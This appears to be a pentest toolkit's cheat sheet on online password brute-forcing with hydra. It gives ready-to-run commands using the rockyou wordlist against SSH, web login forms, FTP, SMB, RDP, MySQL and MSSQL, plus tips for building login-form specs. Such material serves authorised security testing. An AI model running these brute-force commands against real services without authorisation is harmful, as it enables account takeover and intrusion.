repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
hydra.mdMarkdown48 lines3.3 KiBsource raw download

hydra — online password brute force#

Guessing creds against a live service (SSH, web login, FTP…). This is the loud, network-facing cousin of offline hash cracking — for hashes you already looted, use cheat cracking instead. Wrappers default the wordlist to $ROCKYOU; the target to $TARGET where noted.

The wrappers#

The one grammar#

hydra -l USER   -P WORDLIST   TARGET   SERVICE   [module-args]
      -L users.txt (list)     ^ip/host  ssh|ftp|http-post-form|…
      -p PASS (single)                  add -s PORT for non-default ports

http-post-form — the one that trips everyone#

Spec is three colon-separated fields: path:body:failure-string.

brute-web http://$TARGET/login admin \
  $ROCKYOU "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"

Other services (raw hydra)#

Service Command
FTP hydra -l user -P $ROCKYOU ftp://$TARGET
SMB hydra -l admin -P $ROCKYOU smb://$TARGET (or prefer nxc spray — cheat nxc)
RDP hydra -l admin -P $ROCKYOU rdp://$TARGET -t 1 (single-threaded; locks fast)
HTTP basic-auth hydra -l user -P $ROCKYOU $TARGET http-get /admin
MySQL / MSSQL hydra -l sa -P $ROCKYOU $TARGET mysql · … mssql
Kerberos user-enum/spray not hydra — use kb-users (cheat ad) or nxc … --pass-pol

Stay out of trouble#

Order: enumerate the exact login request (Burp) → build the http-post-form spec with a known-bad attempt to nail the failure string → run one user to prove the spec → then widen. Got a hash instead of a login? Wrong tool — cheat cracking. Web login flow → cheat web.